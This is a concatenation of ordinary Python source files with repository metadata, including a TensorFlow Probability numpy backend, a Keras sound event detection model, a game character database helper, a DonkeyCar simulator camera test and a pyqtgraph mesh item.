parameterizes by split indices and returns nsplits+1 arrays. total_splits = sum(idx for idx in indices_or_sections if idx != -1) remainder = int(max(0, np.array(value).shape[axis] - total_splits)) indices_or_sections = [ idx if idx != -1 else remainder for idx in indices_or_sections ] indices_or_sections = np.cumsum(np.array(indices_or_sections))[:-1] return np.split(value, indices_or_sections, axis) def _stack(values, axis=0, name='stack'): del name if axis is None: raise ValueError('None values for `axis` argument not supported.') values = _args_to_matching_arrays(values) return np.stack(values, axis=axis) def _transpose(a, perm=None, conjugate=False, name='transpose'): # pylint: disable=unused-argument x = np.transpose(a, perm) return np.conjugate(x) if conjugate else x def _zeros_like(input, dtype=None, name=None): # pylint: disable=redefined-builtin,unused-argument return np.zeros_like(input, dtype=utils.numpy_dtype(dtype)) # --- Begin Public Functions -------------------------------------------------- concat = utils.copy_docstring( 'tf.concat', _concat) expand_dims = utils.copy_docstring( 'tf.expand_dims', lambda input, axis, name=None: np.expand_dims(input, axis)) fill = utils.copy_docstring( 'tf.fill', lambda dims, value, name=None: np.full(dims, value)) gather = utils.copy_docstring( 'tf.gather', _gather) gather_nd = utils.copy_docstring( 'tf.gather_nd', _gather_nd) reverse = utils.copy_docstring('tf.reverse', _reverse) linspace = utils.copy_docstring( 'tf.linspace', _linspace) meshgrid = utils.copy_docstring( 'tf.meshgrid', np.meshgrid) norm = utils.copy_docstring( 'tf.norm', norm) one_hot = utils.copy_docstring( 'tf.one_hot', _one_hot) ones = utils.copy_docstring( 'tf.ones', lambda shape, dtype=np.float32, name=None: np.ones( # pylint: disable=g-long-lambda shape, utils.numpy_dtype(dtype))) ones_like = utils.copy_docstring( 'tf.ones_like', _ones_like) pad = utils.copy_docstring( 'tf.pad', _pad) range = utils.copy_docstring( # pylint: disable=redefined-builtin 'tf.range', _range) rank = utils.copy_docstring( 'tf.rank', lambda input, name=None: np.int32(np.array(input).ndim)) # pylint: disable=redefined-builtin,g-long-lambda repeat = utils.copy_docstring( 'tf.repeat', lambda input, repeats, axis=None, name=None: np.repeat( # pylint: disable=g-long-lambda input, repeats, axis=axis)) reshape = utils.copy_docstring( 'tf.reshape', lambda tensor, shape, name=None: np.reshape( # pylint: disable=g-long-lambda ops.convert_to_tensor(tensor), shape)) roll = utils.copy_docstring( 'tf.roll', lambda input, shift, axis: np.roll(input, shift, axis)) # pylint: disable=unnecessary-lambda searchsorted = utils.copy_docstring( 'tf.searchsorted', _searchsorted) shape = utils.copy_docstring( 'tf.shape', _shape) size = utils.copy_docstring( 'tf.size', _size) slice = utils.copy_docstring( # pylint: disable=redefined-builtin 'tf.slice', _slice) split = utils.copy_docstring('tf.split', _split) squeeze = utils.copy_docstring( 'tf.squeeze', lambda input, axis=None, name=None: np.squeeze(input, _astuple(axis))) stack = utils.copy_docstring( 'tf.stack', _stack) tile = utils.copy_docstring( 'tf.tile', lambda input, multiples, name=None: np.tile(np.array(input), multiples)) transpose = utils.copy_docstring( 'tf.transpose', _transpose) unstack = utils.copy_docstring( 'tf.unstack', lambda value, num=None, axis=0, name='unstack': tuple( # pylint: disable=g-long-lambda np.squeeze(x, axis=axis) for x in np.split(value, value.shape[axis] if num is None else num, axis))) where = utils.copy_docstring( 'tf.where', lambda condition, x=None, y=None, name=None: np.where(condition, x, y)) zeros = utils.copy_docstring( 'tf.zeros', lambda shape, dtype=np.float32, name=None: np.zeros( # pylint: disable=g-long-lambda shape, utils.numpy_dtype(dtype))) zeros_like = utils.copy_docstring( 'tf.zeros_like', _zeros_like)

29.736626

111

0.679076

from __future__ import absolute_import from __future__ import division from __future__ import print_function import functools import numpy as np from tensorflow_probability.python.internal.backend.numpy import _utils as utils from tensorflow_probability.python.internal.backend.numpy import ops from tensorflow_probability.python.internal.backend.numpy.linalg_impl import einsum from tensorflow_probability.python.internal.backend.numpy.linalg_impl import norm from tensorflow_probability.python.internal.backend.numpy.linalg_impl import tensordot __all__ = [ 'concat', 'einsum', 'expand_dims', 'fill', 'gather', 'gather_nd', 'linspace', 'meshgrid', 'norm', 'one_hot', 'ones', 'ones_like', 'pad', 'range', 'rank', 'reshape', 'reverse', 'repeat', 'roll', 'searchsorted', 'shape', 'size', 'slice', 'split', 'squeeze', 'stack', 'tensordot', 'tile', 'transpose', 'unstack', 'where', 'zeros', 'zeros_like', ] JAX_MODE = False if JAX_MODE: import jax def _astuple(x): try: return tuple(x) except TypeError: return x def _gather( params, indices, validate_indices=None, axis=None, batch_dims=0, name=None): indices = ops.convert_to_tensor(indices, dtype_hint=np.int32) if validate_indices is not None: raise NotImplementedError( 'Argument `validate_indices != None` is currently unimplemented.') if batch_dims < 0: raise NotImplementedError('Negative `batch_dims` is currently unsupported.') if axis is None: axis = batch_dims if axis < 0: axis = axis + len(params.shape) if JAX_MODE: take = lambda params, indices: np.take(params, indices, axis=axis - batch_dims) take = functools.reduce( lambda g, f: f(g), [jax.vmap] * int(batch_dims), take ) return take(params, indices) params = ops.convert_to_tensor(params) res = np.array([ np.take(params[i], indices[i], axis=axis - batch_dims) for i in np.ndindex(*params.shape[:batch_dims]) ]) return np.reshape( res, params.shape[:axis] + indices.shape[batch_dims:] + params.shape[axis+1:]) def _args_to_matching_arrays(args_list, dtype_hint=None): dtype = None for arg in args_list: if ops.is_tensor(arg): dtype = arg.dtype break if dtype is None: ret = [] for arg in args_list: ret.append(ops.convert_to_tensor(arg, dtype, dtype_hint=dtype_hint)) if dtype is None: dtype = ret[-1].dtype else: ret = [ops.convert_to_tensor(arg, dtype) for arg in args_list] return ret def _concat(values, axis, name='concat'): del name if axis is None: raise ValueError('None values for `axis` argument not supported.') if not isinstance(values, (list, tuple)): values = [values] if len(values) == 1: return values[0] values = _args_to_matching_arrays(values) return np.concatenate(values, axis=axis) def _gather_nd_single(params, indices): idx = tuple(np.moveaxis(indices, -1, 0)) return params[idx] def _gather_nd( params, indices, batch_dims=0, name=None): indices = ops.convert_to_tensor(indices, dtype_hint=np.int32) if batch_dims < 0: raise NotImplementedError('Negative `batch_dims` is currently unsupported.') if not JAX_MODE and batch_dims > 0: raise NotImplementedError( '`batch_dims > 0` currently unsupported in NumPy backend.') gather_nd_ = _gather_nd_single if JAX_MODE: gather_nd_ = functools.reduce( lambda g, f: f(g), [jax.vmap] * int(batch_dims), gather_nd_ ) return gather_nd_(params, indices) def _linspace(start, stop, num, name=None, axis=0): start = ops.convert_to_tensor(start) if np.issubdtype(start.dtype, np.integer): start = start.astype(np.float64) stop = ops.convert_to_tensor(stop, dtype=start.dtype) num = ops.convert_to_tensor(num, dtype_hint=np.int32) if not np.issubdtype(num.dtype, np.integer): raise TypeError('`num` must be an integer but got {}'.format(num.dtype)) num = num.astype(np.int32) return np.linspace(start, stop, num, axis=axis).astype(start.dtype) def _one_hot( indices, depth, on_value=None, off_value=None, axis=None, dtype=None, name=None): if on_value is None: on_value = 1 if off_value is None: off_value = 0 if dtype is None: dtype = utils.common_dtype([on_value, off_value], np.float32) indices = np.array(indices) depth = np.array(depth) pred = abs(np.arange(depth, dtype=indices.dtype) - indices[..., np.newaxis]) > 0 y_out = np.where(pred, np.array(off_value, dtype), np.array(on_value, dtype)) if axis is not None: y_out = np.moveaxis(y_out, -1, axis) return y_out def _ones_like(input, dtype=None, name=None): return np.ones_like(input, dtype=utils.numpy_dtype(dtype)) def _pad( tensor, paddings, mode='CONSTANT', constant_values=0, name=None): return np.pad( tensor, paddings, mode=mode.lower(), constant_values=constant_values) def _range(start, limit=None, delta=1, dtype=None, name='range'): dtype = utils.numpy_dtype(dtype) start = ops.convert_to_tensor(start, dtype=dtype) limit = None if limit is None else ops.convert_to_tensor(limit, dtype=dtype) delta = ops.convert_to_tensor(delta, dtype=dtype) if dtype is None: dtype_hierarchy = [np.int32, np.int64, np.float32, np.float64] inferred_dtype = max([arg.dtype for arg in [start, limit, delta] if arg is not None], key=dtype_hierarchy.index) else: inferred_dtype = dtype return np.arange(start, limit, delta).astype(inferred_dtype) def _reverse(tensor, axis, name=None): if np.array(axis).ndim == 0: return np.flip(tensor, axis) for ax in axis: tensor = np.flip(tensor, ax) return tensor if JAX_MODE: _searchsorted_vmap_sides = { side: jax.vmap(functools.partial(jax.numpy.searchsorted, side=side)) for side in ('left', 'right') } def _searchsorted( sorted_sequence, values, side='left', out_type=np.int32, name=None): if JAX_MODE: try: func = _searchsorted_vmap_sides[side] except KeyError: raise ValueError("'%s' is an invalid value for keyword 'side'" % side) sorted_sequence_2d = np.reshape(sorted_sequence, (-1, sorted_sequence.shape[-1])) values_2d = np.reshape(values, (-1, values.shape[-1])) if sorted_sequence_2d.shape[0] != values_2d.shape[0]: raise ValueError('Leading dim_size of both tensors must match.') return np.reshape(func(sorted_sequence_2d, values_2d).astype(out_type), values.shape) sorted_sequence = sorted_sequence[..., np.newaxis, :] values = values[..., :, np.newaxis] if side == 'left': is_in_right_location = sorted_sequence < values elif side == 'right': is_in_right_location = sorted_sequence <= values return np.sum(is_in_right_location, axis=-1).astype(out_type) def _shape(input, out_type=np.int32, name=None): return ops.convert_to_tensor(ops.convert_to_tensor(input).shape).astype( out_type) def _size(input, out_type=np.int32, name=None): return np.asarray(np.prod(ops.convert_to_tensor(input).shape), dtype=out_type) builtin_slice = slice def _slice(input_, begin, size, name=None): slices = tuple( builtin_slice(b, b + s if s != -1 else None) for b, s in zip(begin, size)) return input_[slices] def _split(value, num_or_size_splits, axis=0, num=None, name='split'): indices_or_sections = np.array(num_or_size_splits) if indices_or_sections.ndim == 1: if any(idx == -1 for idx in indices_or_sections): total_splits = sum(idx for idx in indices_or_sections if idx != -1) remainder = int(max(0, np.array(value).shape[axis] - total_splits)) indices_or_sections = [ idx if idx != -1 else remainder for idx in indices_or_sections ] indices_or_sections = np.cumsum(np.array(indices_or_sections))[:-1] return np.split(value, indices_or_sections, axis) def _stack(values, axis=0, name='stack'): del name if axis is None: raise ValueError('None values for `axis` argument not supported.') values = _args_to_matching_arrays(values) return np.stack(values, axis=axis) def _transpose(a, perm=None, conjugate=False, name='transpose'): x = np.transpose(a, perm) return np.conjugate(x) if conjugate else x def _zeros_like(input, dtype=None, name=None): return np.zeros_like(input, dtype=utils.numpy_dtype(dtype)) concat = utils.copy_docstring( 'tf.concat', _concat) expand_dims = utils.copy_docstring( 'tf.expand_dims', lambda input, axis, name=None: np.expand_dims(input, axis)) fill = utils.copy_docstring( 'tf.fill', lambda dims, value, name=None: np.full(dims, value)) gather = utils.copy_docstring( 'tf.gather', _gather) gather_nd = utils.copy_docstring( 'tf.gather_nd', _gather_nd) reverse = utils.copy_docstring('tf.reverse', _reverse) linspace = utils.copy_docstring( 'tf.linspace', _linspace) meshgrid = utils.copy_docstring( 'tf.meshgrid', np.meshgrid) norm = utils.copy_docstring( 'tf.norm', norm) one_hot = utils.copy_docstring( 'tf.one_hot', _one_hot) ones = utils.copy_docstring( 'tf.ones', lambda shape, dtype=np.float32, name=None: np.ones( shape, utils.numpy_dtype(dtype))) ones_like = utils.copy_docstring( 'tf.ones_like', _ones_like) pad = utils.copy_docstring( 'tf.pad', _pad) range = utils.copy_docstring( 'tf.range', _range) rank = utils.copy_docstring( 'tf.rank', lambda input, name=None: np.int32(np.array(input).ndim)) repeat = utils.copy_docstring( 'tf.repeat', lambda input, repeats, axis=None, name=None: np.repeat( input, repeats, axis=axis)) reshape = utils.copy_docstring( 'tf.reshape', lambda tensor, shape, name=None: np.reshape( ops.convert_to_tensor(tensor), shape)) roll = utils.copy_docstring( 'tf.roll', lambda input, shift, axis: np.roll(input, shift, axis)) searchsorted = utils.copy_docstring( 'tf.searchsorted', _searchsorted) shape = utils.copy_docstring( 'tf.shape', _shape) size = utils.copy_docstring( 'tf.size', _size) slice = utils.copy_docstring( 'tf.slice', _slice) split = utils.copy_docstring('tf.split', _split) squeeze = utils.copy_docstring( 'tf.squeeze', lambda input, axis=None, name=None: np.squeeze(input, _astuple(axis))) stack = utils.copy_docstring( 'tf.stack', _stack) tile = utils.copy_docstring( 'tf.tile', lambda input, multiples, name=None: np.tile(np.array(input), multiples)) transpose = utils.copy_docstring( 'tf.transpose', _transpose) unstack = utils.copy_docstring( 'tf.unstack', lambda value, num=None, axis=0, name='unstack': tuple( np.squeeze(x, axis=axis) for x in np.split(value, value.shape[axis] if num is None else num, axis))) where = utils.copy_docstring( 'tf.where', lambda condition, x=None, y=None, name=None: np.where(condition, x, y)) zeros = utils.copy_docstring( 'tf.zeros', lambda shape, dtype=np.float32, name=None: np.zeros( shape, utils.numpy_dtype(dtype))) zeros_like = utils.copy_docstring( 'tf.zeros_like', _zeros_like)

true

790c66566a61f71f21523cf5a6ec3643721ff40a

6,021

py

Python

src/model/sed_ogits.py

Vanova/mfom_attribute_detection

450cf79226f2b26407aa0d2636d0f5217d6f4f48

[ "MIT" ]

11

2019-03-02T11:05:28.000Z

2022-02-15T15:51:46.000Z

src/model/sed_ogits.py

Vanova/mfom_attribute_detection

450cf79226f2b26407aa0d2636d0f5217d6f4f48

[ "MIT" ]

null

src/model/sed_ogits.py

Vanova/mfom_attribute_detection

450cf79226f2b26407aa0d2636d0f5217d6f4f48

[ "MIT" ]

5

2019-03-02T11:05:31.000Z

2020-09-01T20:33:05.000Z

import keras.backend as K from keras.models import Model from keras.layers import Dense, MaxPooling2D, Conv2D, Activation, \ Dropout, Reshape, Input, BatchNormalization, GRU, Bidirectional, Permute, TimeDistributed from keras.optimizers import Adam, SGD, Adadelta, RMSprop import src.model.mfom as mfom import src.model.objectives as obj from src.base.model import BaseModel class SEDOgitsModel(BaseModel): """ The Sound Event Detection model. It has time distributed output layer # Arguments input shape: [batch_sz; band; frame_wnd; channel] """ def __init__(self, config, input_shape, nclass): super(SEDOgitsModel, self).__init__(config) self.input_shape = input_shape self.nclass = nclass self.build() def build(self): """ Construct the main structure of the network """ print('DNN input shape', self.input_shape) if K.image_dim_ordering() == 'tf': batch_sz, bands, frames, channels = self.input_shape assert channels >= 1 channel_axis = 3 freq_axis = 1 nn_shape = (bands, frames, channels) else: raise NotImplementedError('[ERROR] Only for TensorFlow background.') nb_filters = self.config['feature_maps'] dropout_rate = self.config['dropout'] pool_sz = [5, 2, 2] # max-pooling across frequency only gru_nb = [32] # [32, 32] fc_nb = [32] # Input block feat_input = Input(shape=nn_shape, name='input') x = BatchNormalization(axis=freq_axis, name='bn_0_freq')(feat_input) # CNN block for sz in pool_sz: x = Conv2D(filters=nb_filters, kernel_size=(3, 3), padding='same')(x) x = BatchNormalization(axis=channel_axis)(x) x = Activation(self.config['activation'])(x) x = MaxPooling2D(pool_size=(sz, 1))(x) x = Dropout(dropout_rate)(x) x = Permute((2, 1, 3))(x) x = Reshape((frames, -1))(x) # GRU block for n in gru_nb: x = Bidirectional( GRU(n, activation='tanh', dropout=dropout_rate, recurrent_dropout=dropout_rate, return_sequences=True), merge_mode='mul')(x) # Fully connected for n in fc_nb: x = TimeDistributed(Dense(n))(x) x = Dropout(dropout_rate)(x) x = TimeDistributed(Dense(self.nclass))(x) # out dim: [batch, frames, nclass] y_pred = Activation(activation=self.config['out_score'], name='output')(x) self._compile_model(input=feat_input, output=y_pred, params=self.config) def rebuild(self, new_config): """ Recompile the model with the new hyper parameters. NOTE: network topology is changing according to the 'new_config' """ self.config.update(new_config) batch_sz, bands, frames, channels = self.input_shape self.input_shape = (self.config['batch'], bands, self.config['context_wnd'], channels) self.build() def chage_optimizer(self, new_config, change_out_unit=False): """ Recompile the model with the new loss and optimizer. NOTE: network topology is not changing. """ if new_config['freeze_wt']: # train only the top layers, # i.e. freeze all lower layers for layer in self.model.layers[:-4]: layer.trainable = False # cut MFoM layers: use only output prediction scores input = self.model.get_layer(name='input').output output = self.model.get_layer(name='output').output if change_out_unit: la = self.model.layers[-2].output output = Activation(activation=new_config['out_score'], name='output')(la) print('[INFO] output scores has been changed: %s to %s' % (self.config['out_score'], new_config['out_score'])) self._compile_model(input=input, output=output, params=new_config) def forward(self, x): out_model = self.model if self.model.loss in obj.MFOM_OBJECTIVES: input = self.model.get_layer(name='input').output preact = self.model.get_layer(name='output').output out_model = Model(input=input, output=preact) return out_model.predict(x) def _compile_model(self, input, output, params): """ Compile network structure with particular loss and optimizer """ # === # choose loss # === if params['loss'] in obj.MFOM_OBJECTIVES: # add 2 layers for Maximal Figure-of-Merit _, _, frames, _ = self.input_shape y_true = Input(shape=(frames, self.nclass), name='y_true') psi = mfom.UvZMisclassification(name='uvz_misclass')([y_true, output]) y_pred = mfom.SmoothErrorCounter(name='smooth_error_counter')(psi) # MFoM need labels info during training input = [y_true, input] output = y_pred loss = obj.MFOM_OBJECTIVES[params['loss']] elif params['loss'] == obj.mfom_eer_embed.__name__: loss = obj.mfom_eer_embed else: loss = params['loss'] # === # choose optimizer # === if params['optimizer'] == 'adam': optimizer = Adam(lr=params['learn_rate'], beta_1=0.9, beta_2=0.999, epsilon=1e-08) elif params['optimizer'] == 'sgd': optimizer = SGD(lr=params['learn_rate'], decay=1e-6, momentum=0.9, nesterov=True) elif params['optimizer'] == 'adadelta': optimizer = Adadelta(lr=params['learn_rate']) elif params['optimizer'] == 'rmsprop': optimizer = RMSprop(lr=params['learn_rate']) else: optimizer = params['optimizer'] self.model = Model(input=input, output=output) self.model.compile(loss=loss, optimizer=optimizer) self.model.summary()

39.352941

122

0.603222

import keras.backend as K from keras.models import Model from keras.layers import Dense, MaxPooling2D, Conv2D, Activation, \ Dropout, Reshape, Input, BatchNormalization, GRU, Bidirectional, Permute, TimeDistributed from keras.optimizers import Adam, SGD, Adadelta, RMSprop import src.model.mfom as mfom import src.model.objectives as obj from src.base.model import BaseModel class SEDOgitsModel(BaseModel): def __init__(self, config, input_shape, nclass): super(SEDOgitsModel, self).__init__(config) self.input_shape = input_shape self.nclass = nclass self.build() def build(self): print('DNN input shape', self.input_shape) if K.image_dim_ordering() == 'tf': batch_sz, bands, frames, channels = self.input_shape assert channels >= 1 channel_axis = 3 freq_axis = 1 nn_shape = (bands, frames, channels) else: raise NotImplementedError('[ERROR] Only for TensorFlow background.') nb_filters = self.config['feature_maps'] dropout_rate = self.config['dropout'] pool_sz = [5, 2, 2] gru_nb = [32] fc_nb = [32] feat_input = Input(shape=nn_shape, name='input') x = BatchNormalization(axis=freq_axis, name='bn_0_freq')(feat_input) for sz in pool_sz: x = Conv2D(filters=nb_filters, kernel_size=(3, 3), padding='same')(x) x = BatchNormalization(axis=channel_axis)(x) x = Activation(self.config['activation'])(x) x = MaxPooling2D(pool_size=(sz, 1))(x) x = Dropout(dropout_rate)(x) x = Permute((2, 1, 3))(x) x = Reshape((frames, -1))(x) for n in gru_nb: x = Bidirectional( GRU(n, activation='tanh', dropout=dropout_rate, recurrent_dropout=dropout_rate, return_sequences=True), merge_mode='mul')(x) for n in fc_nb: x = TimeDistributed(Dense(n))(x) x = Dropout(dropout_rate)(x) x = TimeDistributed(Dense(self.nclass))(x) y_pred = Activation(activation=self.config['out_score'], name='output')(x) self._compile_model(input=feat_input, output=y_pred, params=self.config) def rebuild(self, new_config): self.config.update(new_config) batch_sz, bands, frames, channels = self.input_shape self.input_shape = (self.config['batch'], bands, self.config['context_wnd'], channels) self.build() def chage_optimizer(self, new_config, change_out_unit=False): if new_config['freeze_wt']: for layer in self.model.layers[:-4]: layer.trainable = False input = self.model.get_layer(name='input').output output = self.model.get_layer(name='output').output if change_out_unit: la = self.model.layers[-2].output output = Activation(activation=new_config['out_score'], name='output')(la) print('[INFO] output scores has been changed: %s to %s' % (self.config['out_score'], new_config['out_score'])) self._compile_model(input=input, output=output, params=new_config) def forward(self, x): out_model = self.model if self.model.loss in obj.MFOM_OBJECTIVES: input = self.model.get_layer(name='input').output preact = self.model.get_layer(name='output').output out_model = Model(input=input, output=preact) return out_model.predict(x) def _compile_model(self, input, output, params): if params['loss'] in obj.MFOM_OBJECTIVES: _, _, frames, _ = self.input_shape y_true = Input(shape=(frames, self.nclass), name='y_true') psi = mfom.UvZMisclassification(name='uvz_misclass')([y_true, output]) y_pred = mfom.SmoothErrorCounter(name='smooth_error_counter')(psi) input = [y_true, input] output = y_pred loss = obj.MFOM_OBJECTIVES[params['loss']] elif params['loss'] == obj.mfom_eer_embed.__name__: loss = obj.mfom_eer_embed else: loss = params['loss'] if params['optimizer'] == 'adam': optimizer = Adam(lr=params['learn_rate'], beta_1=0.9, beta_2=0.999, epsilon=1e-08) elif params['optimizer'] == 'sgd': optimizer = SGD(lr=params['learn_rate'], decay=1e-6, momentum=0.9, nesterov=True) elif params['optimizer'] == 'adadelta': optimizer = Adadelta(lr=params['learn_rate']) elif params['optimizer'] == 'rmsprop': optimizer = RMSprop(lr=params['learn_rate']) else: optimizer = params['optimizer'] self.model = Model(input=input, output=output) self.model.compile(loss=loss, optimizer=optimizer) self.model.summary()

true

790c667af0b3ef0f91b2ea3e4d81e454bdd15744

1,239

py

Python

db_characters.py

JackNolanDev/vennt-server

03c6c450d50f9f7e8ab0bb844a1cad6b68e5aa47

[ "MIT" ]

null

db_characters.py

JackNolanDev/vennt-server

03c6c450d50f9f7e8ab0bb844a1cad6b68e5aa47

[ "MIT" ]

null

db_characters.py

JackNolanDev/vennt-server

03c6c450d50f9f7e8ab0bb844a1cad6b68e5aa47

[ "MIT" ]

null

# Josh Aaron Miller 2021 # VenntDB methods for Characters import venntdb from constants import * # VenntDB Methods def character_exists(self, username, char_id): return self.get_character(username, char_id) is not None def get_character(self, username, char_id): self.assert_valid("accounts", username, "characters") if self.is_valid("accounts", username, "characters", char_id): return self.db["accounts"][username]["characters"][char_id] return None def create_character(self, username, character): self.assert_valid("accounts", username, "characters") self.db["accounts"][username]["characters"][character["id"]] = character self.save_db() def get_characters(self, username): self.assert_valid("accounts", username, "characters") return self.db["accounts"][username]["characters"] def get_attr(self, username, char_id, attr): self.assert_valid("accounts", username, "characters", char_id) return self.get_character(username, char_id)[attr] def set_attr(self, username, char_id, attr, val): self.assert_valid("accounts", username, "characters", char_id) self.get_character(username, char_id)[attr] = val self.save_db()

30.219512

77

0.702986

import venntdb from constants import * def character_exists(self, username, char_id): return self.get_character(username, char_id) is not None def get_character(self, username, char_id): self.assert_valid("accounts", username, "characters") if self.is_valid("accounts", username, "characters", char_id): return self.db["accounts"][username]["characters"][char_id] return None def create_character(self, username, character): self.assert_valid("accounts", username, "characters") self.db["accounts"][username]["characters"][character["id"]] = character self.save_db() def get_characters(self, username): self.assert_valid("accounts", username, "characters") return self.db["accounts"][username]["characters"] def get_attr(self, username, char_id, attr): self.assert_valid("accounts", username, "characters", char_id) return self.get_character(username, char_id)[attr] def set_attr(self, username, char_id, attr, val): self.assert_valid("accounts", username, "characters", char_id) self.get_character(username, char_id)[attr] = val self.save_db()

true

790c6680a68ee15abeaeba01dd8ecfef161ac03b

2,404

py

Python

examples/test_cam_config.py

vihank/gym-donkeycar

2e3cd780d92f3d5da5a0f9c67272a0cd3f08befe

[ "MIT" ]

null

examples/test_cam_config.py

vihank/gym-donkeycar

2e3cd780d92f3d5da5a0f9c67272a0cd3f08befe

[ "MIT" ]

null

examples/test_cam_config.py

vihank/gym-donkeycar

2e3cd780d92f3d5da5a0f9c67272a0cd3f08befe

[ "MIT" ]

null

""" Test the gym's code for configuring the DonkeyCar's camera settings. """ import os import argparse import gym import gym_donkeycar import numpy as np import uuid if __name__ == "__main__": # Initialize the donkey environment # where env_name one of: env_list = [ "donkey-warehouse-v0", "donkey-generated-roads-v0", "donkey-avc-sparkfun-v0", "donkey-generated-track-v0", "donkey-roboracingleague-track-v0", "donkey-waveshare-v0" ] parser = argparse.ArgumentParser(description='gym_test') parser.add_argument('--sim', type=str, default="sim_path", help='path to unity simulator. maybe be left at default if you would like to start the sim on your own.') parser.add_argument('--port', type=int, default=9091, help='port to use for websockets') parser.add_argument('--env_name', type=str, default='donkey-warehouse-v0', help='name of donkey sim environment', choices=env_list) args = parser.parse_args() #%% SET UP ENVIRONMENT cam = (256,256,3) conf = {"exe_path" : args.sim, "host" : "127.0.0.1", "port" : args.port, "body_style" : "donkey", "body_rgb" : (128, 128, 128), "car_name" : "me", "font_size" : 100, "racer_name" : "test", "country" : "USA", "bio" : "I am test client", "guid" : str(uuid.uuid4()), "cam_resolution" : cam, "img_w" : cam[0], "img_h" : cam[1], "img_d" : cam[2], } env = gym.make(args.env_name, conf=conf) print( "Env cam size: {}".format( env.viewer.get_sensor_size() ) ) speed = 0.5 steer = 0.0 max_steer = 1.0 #%% PLAY obv = env.reset() for t in range(100): action = np.array([steer,speed]) # drive straight with small speed try: obv, reward, done, info = env.step(action) except Exception as ex: print( "Exception: {}".format( ex ) ) if obv.shape != cam: print( "Invalid Image size: {}".format( obv.shape ) ) elif t == 10: print( "Actual camera size: {}".format( obv.shape ) ) if done or (info['hit'] is True): obv = env.reset() print( "Exiting d/h: {}/{}".format( done, info['hit'] ) ) break env.close()

27.953488

129

0.553245

import os import argparse import gym import gym_donkeycar import numpy as np import uuid if __name__ == "__main__": env_list = [ "donkey-warehouse-v0", "donkey-generated-roads-v0", "donkey-avc-sparkfun-v0", "donkey-generated-track-v0", "donkey-roboracingleague-track-v0", "donkey-waveshare-v0" ] parser = argparse.ArgumentParser(description='gym_test') parser.add_argument('--sim', type=str, default="sim_path", help='path to unity simulator. maybe be left at default if you would like to start the sim on your own.') parser.add_argument('--port', type=int, default=9091, help='port to use for websockets') parser.add_argument('--env_name', type=str, default='donkey-warehouse-v0', help='name of donkey sim environment', choices=env_list) args = parser.parse_args() cam = (256,256,3) conf = {"exe_path" : args.sim, "host" : "127.0.0.1", "port" : args.port, "body_style" : "donkey", "body_rgb" : (128, 128, 128), "car_name" : "me", "font_size" : 100, "racer_name" : "test", "country" : "USA", "bio" : "I am test client", "guid" : str(uuid.uuid4()), "cam_resolution" : cam, "img_w" : cam[0], "img_h" : cam[1], "img_d" : cam[2], } env = gym.make(args.env_name, conf=conf) print( "Env cam size: {}".format( env.viewer.get_sensor_size() ) ) speed = 0.5 steer = 0.0 max_steer = 1.0 obv = env.reset() for t in range(100): action = np.array([steer,speed]) try: obv, reward, done, info = env.step(action) except Exception as ex: print( "Exception: {}".format( ex ) ) if obv.shape != cam: print( "Invalid Image size: {}".format( obv.shape ) ) elif t == 10: print( "Actual camera size: {}".format( obv.shape ) ) if done or (info['hit'] is True): obv = env.reset() print( "Exiting d/h: {}/{}".format( done, info['hit'] ) ) break env.close()

true

790c6760cbb5ba7a7d7f0f6662088b050841c907

2,274

py

Python

pyqtgraph/opengl/items/GLMeshItem.py

robertsj/poropy

481a604339c9fa797817b2b0a55448329685c1d8

[ "MIT" ]

1

2018-02-11T11:24:14.000Z

pyqtgraph/opengl/items/GLMeshItem.py

robertsj/poropy

481a604339c9fa797817b2b0a55448329685c1d8

[ "MIT" ]

1

2018-06-12T16:15:31.000Z

pyqtgraph/opengl/items/GLMeshItem.py

robertsj/poropy

481a604339c9fa797817b2b0a55448329685c1d8

[ "MIT" ]

7

2015-03-27T16:58:07.000Z

2022-01-01T17:44:02.000Z

from OpenGL.GL import * from .. GLGraphicsItem import GLGraphicsItem from .. MeshData import MeshData from pyqtgraph.Qt import QtGui import pyqtgraph as pg from .. import shaders import numpy as np __all__ = ['GLMeshItem'] class GLMeshItem(GLGraphicsItem): """ **Bases:** :class:`GLGraphicsItem <pyqtgraph.opengl.GLGraphicsItem>` Displays a 3D triangle mesh. """ def __init__(self, faces, vertexes=None): """ See :class:`MeshData <pyqtgraph.opengl.MeshData>` for initialization arguments. """ if isinstance(faces, MeshData): self.data = faces else: self.data = MeshData() self.data.setFaces(faces, vertexes) GLGraphicsItem.__init__(self) def initializeGL(self): self.shader = shaders.getShader('balloon') l = glGenLists(1) self.triList = l glNewList(l, GL_COMPILE) glBlendFunc(GL_SRC_ALPHA, GL_ONE_MINUS_SRC_ALPHA) glEnable( GL_BLEND ) glEnable( GL_ALPHA_TEST ) #glAlphaFunc( GL_ALWAYS,0.5 ) glEnable( GL_POINT_SMOOTH ) glDisable( GL_DEPTH_TEST ) glColor4f(1, 1, 1, .1) glBegin( GL_TRIANGLES ) for face in self.data: for (pos, norm, color) in face: glColor4f(*color) glNormal3f(norm.x(), norm.y(), norm.z()) glVertex3f(pos.x(), pos.y(), pos.z()) glEnd() glEndList() #l = glGenLists(1) #self.meshList = l #glNewList(l, GL_COMPILE) #glBlendFunc(GL_SRC_ALPHA, GL_ONE_MINUS_SRC_ALPHA) #glEnable( GL_BLEND ) #glEnable( GL_ALPHA_TEST ) ##glAlphaFunc( GL_ALWAYS,0.5 ) #glEnable( GL_POINT_SMOOTH ) #glEnable( GL_DEPTH_TEST ) #glColor4f(1, 1, 1, .3) #glBegin( GL_LINES ) #for f in self.faces: #for i in [0,1,2]: #j = (i+1) % 3 #glVertex3f(*f[i]) #glVertex3f(*f[j]) #glEnd() #glEndList() def paint(self): shaders.glUseProgram(self.shader) glCallList(self.triList) shaders.glUseProgram(0) #glCallList(self.meshList)

28.78481

87

0.559367

